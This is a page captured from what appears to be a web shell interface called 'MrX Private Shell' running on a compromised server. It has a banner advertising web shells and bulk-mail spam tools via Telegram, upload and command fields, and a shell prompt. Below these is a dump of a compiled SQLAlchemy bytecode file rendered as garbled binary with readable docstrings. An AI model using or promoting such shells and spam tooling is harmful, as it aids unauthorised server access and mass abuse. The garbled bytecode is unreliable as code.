__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.217.0: ~ $
�

_��g����dZddlmZddlmZddlmZddlmZddlZddlm	Z	dd	lm
Zdd
lmZddlm
Z
ddlmZd
d	lm
Zd
dlmZd
dlmZd
dlmZd
dlmZd
dlmZd
dlmZd
dlmZd0d�Zd�Zd�Zd�Zd�Z d�Z!ddddd�d�Z"dddd�d �Z#d!�Z$d"�Z%d#dd#d$�d%�Z&d#ddd&�d'�Z'd(�Z(d)�Z)d*�Z*d+�Z+d,�Z,d-�Z-d.�Z.d/�Z/y)1z�private module containing functions used to emit INSERT, UPDATE
and DELETE statements on behalf of a :class:`_orm.Mapper` and its descending
mappers.

The functions here are called only by the unit of work functions
in unitofwork.py.

�)�annotations)�chain)�groupby)�zip_longestN�)�
attributes)�exc)�loading)�sync)�	state_str�)�future)�sql)�util)�cursor)�	operators)�BooleanClauseList)�LABEL_STYLE_TABLENAME_PLUS_COLFc	��|s.|js"t||�D]}t||g|d���yg}g}t|||�D]:\}}}}	}
}}|
s|r|j	||||	|f��&|j	||||	f��<|j
j
�D]K\}
}|
|jvr�t|
|�}t||
|�}t||||
|�t||||
|��Mt||td�|D�d�|D���y)a;Issue ``INSERT`` and/or ``UPDATE`` statements for a list
    of objects.

    This is called within the context of a UOWTransaction during a
    flush operation, given a list of states to be flushed.  The
    base mapper in an inheritance hierarchy handles the inserts/
    updates for all descendant mappers.

    T)�singleNc3�4K�|]\}}}}||||df���y�w)FN�)�.0�state�
state_dict�mapper�
connections     �K/opt/hc_python/lib64/python3.12/site-packages/sqlalchemy/orm/persistence.py�	<genexpr>zsave_obj.<locals>.<genexpr>is,����
�?O�;�U�J��
��
�F�J��>�?O�s�c3�6K�|]\}}}}}||||df���y�w)TNr)rrrrr�update_version_ids      rrzsave_obj.<locals>.<genexpr>ms9����	
�&�
�����%�
�
�F�J��=�&�s�)�batch�_sort_states�save_obj�_organize_states_for_save�append�_sorted_tables�items�
_pks_by_table�_collect_insert_commands�_collect_update_commands�_emit_update_statements�_emit_insert_statements� _finalize_insert_update_commandsr)�base_mapper�states�uowtransactionrr�states_to_update�states_to_insert�dict_rr�has_identity�
row_switchr!�table�insert�updates                rr$r$(s]���+�+�+�!�+�v�6�E��[�5�'�>�$�G�7������
#�;���	G�	�
�
�������:��#�#���v�z�3D�E�
�
�#�#�U�E�6�:�$F�G�

H�%�3�3�9�9�;�
��v���,�,�,��)�%�1A�B��)��E�#3�
��	 ������	
�	 ������	
�#<�2%���
�
�?O�
�	
�&�	
�	
��c�����tt|||��}|jj�D]>\����jvr���fd�|D�}t||�||�}t
||��|��@y)z\Issue UPDATE statements on behalf of a relationship() which
    specifies post_update.

    c
3��K�|]G\}}}}�|jvr2||||�j��j||�j�ndf���Iy�w�N)r)�version_id_col�#_get_committed_state_attr_by_column)rrr�
sub_mapperrrr7s     ��rrzpost_update.<locals>.<genexpr>�st�����
�>N�9��z�:�z��
�0�0�0�����
�,�,�8��>�>��z�6�+@�+@���
�>N�s�A
AN)�list� _organize_states_for_post_updater'r(r)�_collect_post_update_commands�_emit_post_update_statements)r/r0r1�post_update_colsr2r9rr7s      @@r�post_updaterF{s�����(��f�n�M���%�3�3�9�9�;�
��v���,�,�,��
�>N�
��$/�����8H�
��	%������	
�5<r:c�~�tt|||��}|j}tt|j	���D]L}||}||j
vr�|jr
|jr�0t||||�}t|||||��N|D]%\}}	}}
}|jj||
|��'y)z�Issue ``DELETE`` statements for a list of objects.

    This is called within the context of a UOWTransaction during a
    flush operation.

    N)rA�_organize_states_for_deleter'�reversed�keysr)�inherits�passive_deletes�_collect_delete_commands�_emit_delete_statements�dispatch�after_delete)r/r0r1�states_to_delete�table_to_mapperr7r�deleterrrr!s            r�
delete_objrT�s����#�K���H���"�0�0�O��$��3�3�5�6�7�� ��'����,�,�,��
�_�_��!7�!7��)����0@�
��	 ������	
�8�2
�
	�
��������$�$�V�Z��?�
r:c#�K�t|||�D�]�\}}}}t|j�}|jxs|j|�}dx}	}
|s|jj|||�n|jj
|||�|jr|j|||�|s�||jjvr�|jj|}tj|�}|j|�s{|j|�s1tjdt!|��d|�dt!|����n9|j#d|t!|�t!|��|j%|�|}	|s|	r;|j&�/|j)|	r|	n||	r|	j*n||j&�}
||||||	|
f�����y�w)aTMake an initial pass across a set of states for INSERT or
    UPDATE.

    This includes splitting out into distinct lists for
    each, calling before_insert/before_update, obtaining
    key information for each state including its dictionary,
    mapper, the connection to use for the execution per state,
    and the identity flag.

    Nz
New instance z with identity key z$ conflicts with persistent instance zPdetected row switch for identity %s.  will update %s, remove %s from transaction)�_connections_for_states�bool�key�_identity_key_from_staterO�
before_insert�
before_update�_validate_polymorphic_identity�session�identity_mapr�instance_state�was_already_deleted�
is_deletedr�warnr�
_log_debug�remove_state_actionsr>r?�dict)
r/r0r1rr4rrr5�instance_keyr6r!�instance�existings
             rr%r%�s�����-D��^�V�-�(��u�f�j��E�I�I����y�y�J�F�$C�$C�E�$J��)-�-�
�&���O�O�)�)�&�*�e�D��O�O�)�)�&�*�e�D��0�0��1�1�&�%��G���� 6� 6� C� C�C�%�-�-�:�:�<�H�H�!�0�0��:�H�!�5�5�h�?�%�0�0��:��I�I�%�U�+�\�9�X�;N�P�� �*�*�&�%�!�%�(�!�(�+�
�#�7�7��A�!)�J��J�F�,A�,A�,M� &� J� J�(�
�e�#-�
���5��%�%�!��
�������
�	
�s-�s�G
Gc��t|||�S)z�Make an initial pass across a set of states for UPDATE
    corresponding to post_update.

    This includes obtaining key information for each state
    including its dictionary, mapper, the connection to use for
    the execution per state.

    )rV)r/r0r1s   rrBrB#s��#�;���G�Gr:c#��K�t|||�D]Y\}}}}|jj|||�|j�|j	|||j�}nd}|||||f���[y�w)z�Make an initial pass across a set of states for DELETE.

    This includes calling out before_delete and obtaining
    key information for each state including its dictionary,
    mapper, the connection to use for the execution per state.

    N)rVrO�
before_deleter>r?)r/r0r1rr4rrr!s        rrHrH/s�����-D��^�V�-�(��u�f�j�	���%�%�f�j�%�@�� � �,� &� J� J��u�f�3�3�!��!%���e�V�Z�1B�C�C�-�s�A+A-r)�bulk�return_defaults�render_nulls�include_bulk_keysc	#��K�|D�]<\}�}}||jvr�i}	i}
|j|}|j|}t|�j	��D]n}
�|
}||
}|�||vr|s�|sHt|d�st
|tj�r"t|d�r|j�n||
|<�`||	|j<�p|sO|j|j|	�j|
D�cgc]}|j��c}�D]}d|	|<�	|r|rf|j|j|	�}|jj!|j"|�r|j$|j|	�}nd}ndx}}|j&durO|j(�C|j(|j*|vr(|j'd�|	|j(j<|rN|j,r&|	j/|j0|j2�|r|	j5�fd�|D��|�|	|||
||f����?ycc}w�w)zSIdentify sets of values to use in INSERT statements for a
    list of states.

    N�__clause_element__TFc3�,�K�|]}|�|f���
y�wr=r�r�krs  �rrz+_collect_insert_commands.<locals>.<genexpr>�s�����L�:K�Q�q�*�Q�-�0�:K���)r)�_propkey_to_col�_insert_cols_evaluating_none�set�intersection�hasattr�
isinstancer�
ClauseElementrqrX�_insert_cols_as_none�
difference�_pk_keys_by_table�issubsetr/�_prefer_eager_defaults�dialect�_server_default_col_keys�version_id_generatorr>�_cols_by_table�_set_polymorphic_identity�
setdefault�_polymorphic_attr_key�polymorphic_identityr9)r7r3rlrmrnrorrr�params�value_params�propkey_to_col�	eval_none�propkey�value�col�c�colkey�has_all_pks�has_all_defaultsrs                    @rr*r*Fs������2B�-��z�6�:���,�,�,�������/�/��6���7�7��>�	��>�*�7�7�
�C�G��w�'�E� ��)�C��}��I�!5�l�����3�4��e�S�%6�%6�7��u�&:�;��,�,�.���S�!�#(��s�w�w��D�"��+�+�E�2���F�#���L�9�L�q�Q�U�U�L�9�:�;��
"&��v��	;���!�2�2�5�9�B�B�6�J�K��!�!�8�8��"�"�E��$*�#B�#B��$��(�6�"�!�$(� �-1�1��{�
�'�'�u�4��%�%�1��%�%��)>�)>�u�)E�E�06�0K�0K��1�F�6�(�(�,�,�-���/�/��!�!��0�0�&�2M�2M��!��
�
�L�:K�L�L�
��������	
�		
�Y2B��L:�s�C5I�8I
�EI)rl�use_orm_update_stmtroc#�h
��K�|D�]\}�}}}	||jvr�|j|}
|�
|j}ni}|j|}|rWt|�j	��j|j|�D�
cic]}
||
j�|
��}}
d}n�i}t|�j	|j�D]�}
�|
}||
}t|d�st|tj�r"t|d�r|j�n|||<�U|j|
jj!||j|
�dus��|||j<��|j"j$dur|j&|j)|�}nd}|	��|j*|j,|vr�|su|ss|sq|j.j1�D]R}|j|jjj3|�t4j6�}|j8s�Rn��4|j*}|xr|}|	||j:<|s|j|vr/|j<dur!|j=|	�}|||j<n&|j<dur|r|	||j<n|s|s���d}d}|r�t|�j	|j|�D�
cic]!}
||
j:�j?|
���#c}
�t@jBj	�j1���r\tEjFddjI�fd�|
D���d�d	�
��i�|
D�]!}|j.|j}
|j|
jj3|�t4jJ�}|j8r{|jLrd||f|j4vr;d}|j8d�|j:<|jO|jd�n?|jLd�|j:<||vrd}n|jPd�|j:<�|j:���	tSjTd
|�d|����|r|jW�fd�|D��|s|r|jW��|�||||||f�����|s���|jX|D]*\}}t[j\|||||||j^��,��ycc}
wcc}
w�w)atIdentify sets of values to use in UPDATE statements for a
    list of states.

    This function works intricately with the history system
    to determine exactly what values should be updated
    as well as how the row should be matched within an UPDATE
    statement.  Includes some tricky scenarios where the primary
    key of an object might have been changed.

    NTrqFz,No primary key value supplied for column(s) z, c3�T�K�|]}�|j��t|����!y�wr=)�_label�str)rr��	pk_paramss  �rrz+_collect_update_commands.<locals>.<genexpr>3s'�����"�,/�q�9�Q�X�X�3F�3N�C��F�C�s�(�(zY; per-row ORM Bulk UPDATE by Primary Key requires that records contain primary key values�bupq)�code�pk_cascadedrzCan't update table �, using NULL for primary key value on column c3�,�K�|]}|�|f���
y�wr=rrss  �rrz+_collect_update_commands.<locals>.<genexpr>\s�����H�6G��1�j��m�,�6G�ru)0r)�_valuesrvrxryr~�_pk_attr_keys_by_tablerX�committed_staterzr{rr|rq�manager�impl�is_equalr/�eager_defaults�!_server_onupdate_default_col_keysr�r>r��_columntoproperty�values�get_historyr�PASSIVE_NO_INITIALIZE�addedr�r��getr�NONE_SET�sa_exc�InvalidRequestError�join�PASSIVE_OFF�deleted�pop�	unchanged�orm_exc�
FlushErrorr9�_table_to_equatedr�populate�passive_updates)r1r7r2rlr�rorrrr!�pksr�r�r�r�r�r�r��prop�history�	no_params�valr��expect_pk_cascaded�m�
equated_pairsr�rs                          @@rr+r+�ss�����4
�
	�
�������,�,�,���"�"�5�)���*�.�6�6�L��L��/�/��6���
 #�>�2���j�)���F�9�9�%�@�A� B�� B�G��w�'�+�+�Z��-@�@� B�
�� $���F��~�.�;�;��%�%���#�7�+��$�W�-���5�"6�7�:��3�,�,�<�
#�5�*>�?��0�0�2�"�!��%��M�M�'�*�/�/�8�8��u�4�4�W�=�� � �
',�F�3�7�7�O�-�0�!�!�0�0�D�8��<�<�U�C��(�6�"�!�$(� �
�)��%�%��)>�)>�u�)E�E���<�
#�4�4�;�;�=�D�#�m�m�D�H�H�5�:�:�F�F��z�:�+K�+K��G��}�}��>���'�'�C�"�
�7�<�'7�I�!2�F�3�:�:������v�-��-�-�U�:��1�1�2C�D��"%��s�w�w���,�,��5�)�
#4��s�w�w���L����"���
 #�>�2�?�?��1�1�%�8� �� �G��w�'�.�.�
���w�0G�G� ��I��}�}�)�)�)�*:�*:�*<�=��0�0�B��	�	�"�,/�"���9�9� �
�
��I��� �2�2�3�7�;�;���-�-��0�5�5�A�A��:�z�'=�'=����=�=�#�O�O�)�5�#�6�)�4�4�5�.2�*�07�
�
�a�0@�	�#�*�*�-��
�
�3�7�7�D�1�18����0B�	�#�*�*�-��,�.�*/�K�,3�,=�,=�a�,@�I�c�j�j�)��S�Z�Z�(�0�!�,�,�49�3�@���1�:��M�M�H�6G�H�H��\��M�M�)�$������� ��	�	
� �%+�$<�$<�U�$C� ��=��
�
�����!�"��*�*��%D�W
��"��f�s<�BT2�	T(�#B8T2�CT2�6B<T2�2&T-�E/T2�	AT2�(A
T2c#�*K�|D�]�\}}}}}	|j|}
i}d}|j|D]�}
|
|
vr1|j|||
tj��||
j
<�8|
|vs
|
j��I|j|
}|j|jjj||tj�}|js��|jd}|||
j<d}��|s��|	��|j|j|vrl|j}
|	||
j
<t|j�r<|
j|vr.|j dur |j!|	�}|||
j<|||||f�����y�w)zrIdentify sets of values to use in UPDATE statements for a
    list of states within a post_update operation.

    F)�passiveNrT)r)r��_get_state_attr_by_columnrr�r��onupdater�r�rXr�r�r�r�r>rWr�)r/r1r7r2rErrrrr!r�r��hasdatar�r�r�r�r�s                  rrCrC|s�����
�
	�
������"�"�5�)�������(�(��/�C��c�z�%+�%E�%E��:�s�J�4J�4J�&F�&��s�z�z�"��(�(�C�L�L�,D��/�/��4���-�-����1�6�6�B�B��:�z�'G�'G����=�=�#�M�M�!�,�E�&+�F�3�7�7�O�"�G�0��!�-��)�)�V�-B�-B�5�-I�I��+�+��%6��s�z�z�"�����O����v�-��3�3�5�@� �5�5�6G�H�C�&)�F�3�7�7�O���V�Z��?�?�K
�s�A7F�:AF�$F�=BFc#�fK�|D]�\}}}}}||jvr�i}	|j|D]A}
|j|||
�x|	|
j<}|��(tjd|�d|
����|�4|j
|j|vr||	|j
j<|	|f����y�w)zSIdentify values to use in DELETE statements for a list of
    states to be deleted.NzCan't delete from table r�)r)r?rXr�r�r>r�)r/r1r7rQrrrrr!r�r�r�s            rrMrM�s�����
�
	�
�������,�,�,�����'�'��.�C��:�:��:�s��
�F�3�7�7�O�e�
�}��(�(�16�s�<���/�
�)��%�%��)>�)>�u�)E�E�0A�F�6�(�(�,�,�-��j� � �/
�s
�AB1�AB1T)�bookkeepingr��enable_check_rowcountc�@�����jduxr�j�j�v�d|ji}d���fd�	}	|�	|	|�}
n|jd�f|	�}
t	|d��D�]%\\}}}
}}}d}t|�}|
}|�|j
��d��}d}|s|j�j��}d	}|rZ|sX�jjd	ur@�jr4|jjr|j�j��}d	}�jr|j�j�}d	}|jj }|xr|jj"}|xr�}|
r�|D]z\}}}�}}}}|j%|j'|�||�
�}|r5t)�|�||||j*j,d|d	|j.�
||j0z
}|xr|}�|�n"|sq|xr|}|D]e\}}}�}}}}|j%|||�
�}|r5t)�|�||||j*j,d|d	|j.�
||j0z
}�gn�|D�cgc]}|d��	}}|xr|xs|xrt3|�dk(}|j%|||�
�}||j0z
}|D][\}}}�}}}}|s�t)�|�||||j*j,d|d	|j*j4s|j.nd�
�]r>|t3|�k7s���t7j8d
�j:t3|�|fz���s���t=j>djj@z���(ycc}w)z`Emit UPDATE statements corresponding to value lists collected
    by _collect_update_commands().N�compiled_cachec���tjtj�}�j�D]?}|j|t
j|j|j��k(��A�r[|j�jt
j�jj�jj��k(�|�|j|�}|S�j�j|�}|S�N)�type_)
r�_construct_rawr�and_r)�_append_inplacer�	bindparamr��typer>�wherer9)�
existing_stmt�clausesr��stmtr�needs_version_idr7s    ���r�update_stmtz,_emit_update_statements.<locals>.update_stmt�s����#�2�2�9�>�>�B���'�'��.�C��#�#��s�}�}�S�Z�Z�s�x�x�@�@�
�/�
��#�#��%�%��=�=��)�)�0�0� �/�/�4�4���
��$� �&�&�w�/�D����<�<�>�'�'��0�D��r:r9c�R�|dt|d�t|d�|d|dfS�N�r
����rxrW��recs r�<lambda>z)_emit_update_statements.<locals>.<lambda>�2����F���A��K���Q��L���F���F�
r:r)�_emit_update_table�_emit_update_mapperFT��execution_optionsr
r�MUPDATE statement on table '%s' expected to update %d row(s); %d were matched.�MDialect %s does not support updated rowcount - versioning cannot be verified.r=)!r>r��_compiled_cache�_memorrA�	_annotatermr)r/r��implicit_returningr��update_returning�_server_onupdate_default_cols�!_version_id_has_server_side_value�supports_sane_rowcount�supports_sane_multi_rowcount�executer��
_postfetch�context�compiled_parameters�returned_defaults�rowcount�len�executemanyr��StaleDataError�descriptionrrb�dialect_description) r/r1rr7r9r�r�r�r�r��cached_stmtr�	paramkeys�hasvaluer�r��records�rows�	statementrm�assert_singlerow�assert_multirow�allow_executemanyrrr�r�r��check_rowcountr��multiparamsr�s   ``                           @rr,r,�s}���	���T�)�	B��!�!�V�%:�%:�5�%A�A��
*�;�+F�+F�G���.�&�!�"5�6��"�'�'��5�(9�;�G��

��	
�	
�	�H��Y��*:�K�����w�-���	��*�!�+�+�*/�+1���I� ���1�	�1�1�6�3G�3G��3N�O�I�"�O�
�$��"�"�1�1�T�9��(�(��"�"�3�3�1�	�1�1��5�5�e�<��I�#�O��3�3�!�1�1�&�2G�2G�H�I�"�O�%�-�-�D�D��
�
@��"�"�?�?�	�!0�/�H�8H�4H����	������� ���&�&��$�$�\�2��&7�'���
���&���"���	�	�5�5�a�8�$���+�+����
�
�"��!6�!K�;K��)�,%�!6�!K�;K���	������ �$��"�*�*�!�6�=N�+��A�
#�"�"�*�!�!�&���I�I�9�9�!�<�(� ��/�/���A�J�J�&�D�'�*29�9��#�s�1�v���9�!6�"�#�D�(�B�S��-=��-B��
�&�&��{�>O�'�����
�
�"���	������ �$��"�"�"�*�!�!�&���I�I�9�9�!�<�(� �()�y�y�'<�'<�!"� 3� 3�%)���&��s�7�|�#��,�,�9��(�(�#�g�,��=�>�����I�I�3��)�)�/�/�0�
�]	
��x:s�<N)r��use_orm_insert_stmtr�c��
�|�<|}tj}	t|j�}
|
xr|jxs|}n0d}
|}|jd|f|j�}d|ji}	|r!tjj|	|�}n|	}d}t|d��D�]�\\}
}}}}}|}|�|j||d��}|r@|s>|j|
j|�r"|jr|
jjs�|
s�|r�|s�t|�}|D�cgc]}|d��	}}|
j!|||��}|s��t#||j$j&�D]T\\}}}}}}}}}|r7t)||||||||d|j$j*s|j,nd�
�Ht/|||��V��t|�}|
s|jr|s}t1|�d	kDro|r|
jj2s|s|
jj4rd
}n>|
r7|rd}nd}t7j8d
|
jj:�d|�d���d}nd}|�=|s;|j|
j|�r|j<|j>|d|i�}|j@�|j=|j@|��}n|r|j<|jBd|i�}|�r*|D�cgc]}|d��	}}|
j!|||��}|�|�|}n|jE|�}|s���tG||j$j&|jH|jJxsd�D]�\\}}}}}}}}}} }!| �tMjNd|z��t#| |jP|�D]?\}"}#|jR|#}$|jU|$jV���1|"||$jV<�A|rt)||||||||d|!�
��t/|||�����h|
rJ�|D�]-\}}}}}
}}}|r$|
j!|jY|�||��}n|
j!|||��}|jZ}%|%�tMjNd|�d���t#|%|jP|�D]C\}"}#|jR|#}$|#|vs|jU|$jV���5|"||$jV<�E|s��|rOt)|||||||j$j&d|d|j$j*s|j,nd�
��!t/|||���0���|�|�t]j^�S|Sycc}wcc}w)z`Emit INSERT statements corresponding to value lists collected
    by _collect_insert_commands().NFr8r�c�R�|dt|d�t|d�|d|dfSr�r�r�s rr�z)_emit_insert_statements.<locals>.<lambda>�r�r:)�_emit_insert_table�_emit_insert_mapperr
r�rTz+ with RETURNING and sort by parameter orderz with RETURNINGz<Can't use explicit RETURNING for bulk INSERT operation with z backend; executemanyz! is not enabled for this dialect.�sort_by_parameter_order)rrz�Multi-row INSERT statement for %s did not produce the correct number of INSERTed rows for RETURNING.  Ensure there are no triggers or special driver issues preventing INSERT from functioning properly.z Single-row INSERT statement for z� did not produce a new primary key result being invoked.  Ensure there are no triggers or special driver issues preventing INSERT from functioning properly.r)0r�
EMPTY_DICTrW�
_returning�_sort_by_parameter_orderr�r8r��
merge_withrr�r�r�r��insert_returningrAr��zipr�r�r�r�r��_postfetch_bulk_saver��4insert_executemany_returning_sort_by_parameter_order�insert_executemany_returningr�r�r�rm�_server_default_colsr>�primary_key�splice_verticallyr�inserted_primary_key_rows�returned_defaults_rowsr�r�r)r�r�rXr��inserted_primary_key�_cursor�null_dml_result)&r/r1rr7r8r�rr�r�exec_opt�returning_is_required_anyway�deterministic_results_reqd�
return_resultr�_rr�r�rrr�r
�resultrrr��
mapper_rec�connr��last_inserted_params�do_executemany�dtrr��pkr�r�rs&                                      rr-r-�s����&�)���?�?��(,�,?�,J�,J�'K�$�(�
=�#�<�<�&��	#�
(-�$�%0�"�!�'�'��5�(9�5�<�<�H��$�k�&A�&A�B��� �O�O�6�6��'�
��%���M�

��	
�	
�	�@��Q��+�/?�� �	��*�!�+�+�*/�+1���I� �$�&�=�=�"�*�*�E��!�3�3�%�-�-�>�>�1����7�m�G�-4�5�W�c�3�q�6�W�K�5��'�'��;�:K�(��F����&�.�.�"D�"D�E��	��"��"��$�#�(�(��"�&�*�!�!�&�"�0�(�!�(.�~�~�'A�'A�!'� 8� 8�%)��"-�Z��U�K�'F�2�7�m�G�+��(�(��c�'�l�Q�>N�/�"�*�*�_�_�2�"�*�*�G�G�%)�N�1�1�J��.�� �4�4�*�%�-�-�A�A�B�C&�&(�T�)J�L���&+�N�!&��"�*�(�#�:�:�"�*�*�E��!:�	� 9� 9��4�4�U�;�!�0;�!�I�
�$�$�0�%�5�5��)�)�,7�6��	� �5�I�5�5��&�&��@K��	��18�9��#�s�1�v���9�#�+�+��{�>O�,���'�2�$�,�(.�
�(5�(G�(G��(O�
��%�����:�:��8�8��5�5�;��	��	�!�&�"�&� �(�'�,�,�,�)�0�7�#*�"4�"4�!8�
;E�!E�#��(+�0�"�0�0��7�(�G�B��$.�#?�#?��#D�D�)�~�~�d�h�h�7�?�79�
�4�8�8� 4�
(�!�&� *� .� %� %� *� &� 4� ,� %� 1��1��Z��O�Y�\8�7�7��	������ ��$�#�!+�!3�!3�%�,�,�\�:�"�.?�"4�"��",�!3�!3�%�"�.?�"4�"��#)�"=�"=�K�"�*�%�0�0�8B�D���$'�#�V�%9�%9�%�%@�$���C� *�;�;�C�@���<�/�)�~�~�d�h�h�7�?�35�J�t�x�x�0�$�#� �&� *� .� %� %� *� &� &��� B� B�1� E� ,� %�,2�>�>�+E�+E�%+�$<�$<�)-��"1��Z��O�i�y	
�d�&�� ��*�*�,�,� � �	'��S6��~:s�U �%U%c
�����d|ji}�jduxr�j�j�v����fd�}|jd�f|�}�jr|j�j�}t
|d��D�]�\}}	d}
t|	�}	|d}|jj}|xr|jj}
�xs|
}|s[|}|	D]S\}}}}}|j|||��}t||�||||jjd�|
|jz
}
�Un�|	D�����cgc]
\}}}}}|��}}}}}}|
xs|xrt!|�dk(}|j|||��}|
|jz
}
|	D]0\}}}}}t||�||||jjd��2|r>|
t!|	�k7s��Jt#j$d	�j&t!|	�|
fz���s��|t)j*d
jj,z����ycc}}}}}w)zeEmit UPDATE statements corresponding to value lists collected
    by _collect_post_update_commands().r�Nc����tjtj�}�j�D]?}|j|t
j|j|j��k(��A�r[|j�jt
j�jj�jj��k(��j�j|�}|Sr�)
rr�rr�r)r�rr�r�r�r>r9r�)r�r�r�rr�r7s   ���rr�z1_emit_post_update_statements.<locals>.update_stmts����#�2�2�9�>�>�B���'�'��.�C��#�#��s�}�}�S�Z�Z�s�x�x�@�@�
�/�
��#�#��%�%��=�=��)�)�0�0� �/�/�4�4���
��|�|�~�#�#�G�,���r:rFc�(�|dt|d�fS)N�r�)rxr�s rr�z._emit_post_update_statements.<locals>.<lambda>3s��S��V�S��Q��[�)r:rr�rr�r�)r�r>r�r�r�rmrrAr�r�r�r��_postfetch_post_updater�r�r�r�r�r�r�rrbr�)r/r1rr7r9r�r�rrXrrrrrrr	rrr(r�r�r)r
r�s  ``                   @rrDrDs����*�;�+F�+F�G��	���T�)�	B��!�!�V�%:�%:�5�%A�A��
�*�!�!�=�%�"8�+�F�I�
�/�/��-�-�f�.C�.C�D�	� ��)����W����w�-����V�
�%�-�-�D�D���
@��"�"�?�?�	�!1�0�C�O�� �-�N�EL�A��z�:�z�6��&�&��v�9J�'���'��"������I�I�1�1�!�4����
�
�"��FM�$DK��CJ�?�E�:�z�4���CJ�
��
-�� �:�S��%5��%:�
��"�"��;�:K�#��A�
�A�J�J��D�EL�A��z�:�z�6�&��"������I�I�1�1�!�4��FM���s�7�|�#��,�,�9��(�(�#�g�,��=�>�����I�I�3��)�)�/�/�0�
�I��Ds�H8c�������jduxr�j�j�v����fd�}|jd�f|�}t|d��D�]�\}}|D�	�cgc]\}	}|	��	}
}	}d|ji}t|
�}d}
d}�r�jjs�|jjr-d}
|
D]%}	|j||	|�	�}|
|jz
}
�'netjd
|jjz�|j||
|�	�n$j||
|�	�}�sd}|j}
|js��|
dkDs��
||
k7s��|jjst|
�dk(s��:|r'tjd
�j||
fz���ct!j"d
�j||
fz��ycc}}	w)z`Emit DELETE statements corresponding to value lists collected
    by _collect_delete_commands().Nc����tjtj�}�j�D]?}|j|t
j|j|j��k(��A�r[|j�jt
j�jj�jj��k(��j�j|�Sr�)
rr�rr�r)r�rr�rXr�r>rSr�)r�r�r�need_version_idr7s  ���r�delete_stmtz,_emit_delete_statements.<locals>.delete_stmt�s����#�2�2�9�>�>�B���'�'��.�C��#�#��s�}�}�S�W�W�C�H�H�=�=�
�/�
��#�#��%�%��=�=��)�)�-�-�V�5J�5J�5O�5O���
��|�|�~�#�#�G�,�,r:rSc��|dS)Nrrr�s rr�z)_emit_delete_statements.<locals>.<lambda>�s���A�r:r����Frr�zMDialect %s does not support deleted rowcount - versioning cannot be verified.Trz�DELETE statement on table '%s' expected to delete %d row(s); %d were matched.  Please set confirm_deleted_rows=False within the mapper configuration to prevent this warning.)r>r�r�rr�r�r�r�r�r�r�rrbr��confirm_deleted_rowsr�r�r�)r/r1rr7rSr6rr�recsr��del_objectsr��expected�rows_matched�	only_warnr�r5s  ``            @rrNrN|s���	���T�)�	B��!�!�V�%:�%:�5�%A�A��
-�$�!�!�8�U�"3�[�A�I�#�F�,>�?��
�D�8<�=��"4�&�*�v���=�-�{�/J�/J�K���{�#�����	�
��&�&�C�C��!�!�8�8� ��*�F�"�*�*�!�6�=N�+��A�!�A�J�J�.�L�	*��	�	�7� �(�(�<�<�=��
�"�"��{�>O�#���"�"��;�:K�#��A�#� �	��:�:�L�
�,�,��r�!��L�(��"�"�?�?��{�#�q�(�
��	�	�=��(�(�(�L�A�	B���,�,�=��(�(�(�L�A�	B���y@��=s�#G!c���|D�]c\}}}}}|jr�|j|jD�cgc]n}|jr$|jrH|j|j
vs0|js0|js$|j|j
vr|j��pc}�}	|	r|j
|j
|	�g}
|jdur4|
j|jj|j��|j�V|jdurH|jj|jvr&|
j|jjg�|
rl|j!|�|_t#j$|�j't(�}t+j,|j.||j||
��|s|j0j3|||�n|j0j5|||�|jdus��(|j���6||jj���Qt7j8d��ycc}w)zzfinalize state on states that have been inserted or updated,
    including calling after_insert/after_update events.

    TNF)�
refresh_state�only_load_propsz2Instance does not contain a non-NULL version value)�_readonly_props�unmodified_intersection�expire_on_flush�deferredrXre�_expire_attributesr��extend�_unloaded_non_objectry�&_server_default_plus_onupdate_propkeysr>r��_version_id_prop�unloadedrYr�select�set_label_stylerr
�
load_on_identr]rO�after_insert�after_updater�r�)r/r1r0rrrrr5�p�readonly�
toload_nowr�s            rr.r.�s$��
@F�;��z�6�:�|��!�!��4�4�$�3�3��3���)�)�!"���q�u�u��
�
�/B��-�-� !�
�
��E�E����3��E�E�3���H���(�(����X�>�
�
��%�%��-�����*�*�7�7��A�A��
�
�!�!�-��+�+�u�4��&�&�*�*�e�n�n�<��!�!�6�#:�#:�#>�#>�"?�@��#�<�<�U�C�E�I��=�=��(�8�8�.��D�
�!�!��&�&���	�	�#� *�
���O�O�(�(���U�C��O�O�(�(���U�C�
�'�'�5�0��%�%�1��&�1�1�5�5�6�>��(�(�H���C@F��s�A3I+
c��|jduxr|j|j|v}|j|�sA|jjj
}|jjj}	n|rdx}}	ny|rt|�|jgz}t|jjj�}
|
rg}|D]t}|j|vs�||jvs�!||j||j|j<|
s�Mj|j|j��v|
r)r'|jjj|||�|	rP|j|j |	D�cgc])}||jvr|j|j��+c}�yycc}w)Nr)r>r�rar��compiled�prefetch�	postfetchrArW�
class_managerrO�
refresh_flushrXr�r&rFre)
rr1r7rr4r'r�r��
prefetch_cols�postfetch_colsrY�load_evt_attrsr�s
             rr2r2*s���	���T�)�	B��!�!�V�%:�%:�5�%A�A��
�$�$�U�+����/�/�8�8�
����0�0�:�:��	�*,�+�
��	���]�+�v�/D�/D�.E�E�
���-�-�6�6�D�D�E�M����
���5�5�F�?�q�F�$<�$<�<�5;�A�E�E�]�E�&�*�*�1�-�1�1�2���%�%�f�&>�&>�q�&A�&E�&E�F�	������%�%�3�3��>�>�	
��
� � ��J�J�(�
�'�A���0�0�0��(�(��+�/�/�'�
�	
���
s�.G
c

��|jjj}
|jjj}|jjj}|j
�4|j
|j|vrt|
�|j
gz}
t|jjj�}
|
rg}|r�|	}|��t||�D]s\}}|jr|jjr�)|jj!|�}|s�G|||j"<|
s�Yj%|j"��u|
D]{}|j"|vs�||jvs�!|j|j"}||j"||<|j&j)|d�|
s�kj%|��}|
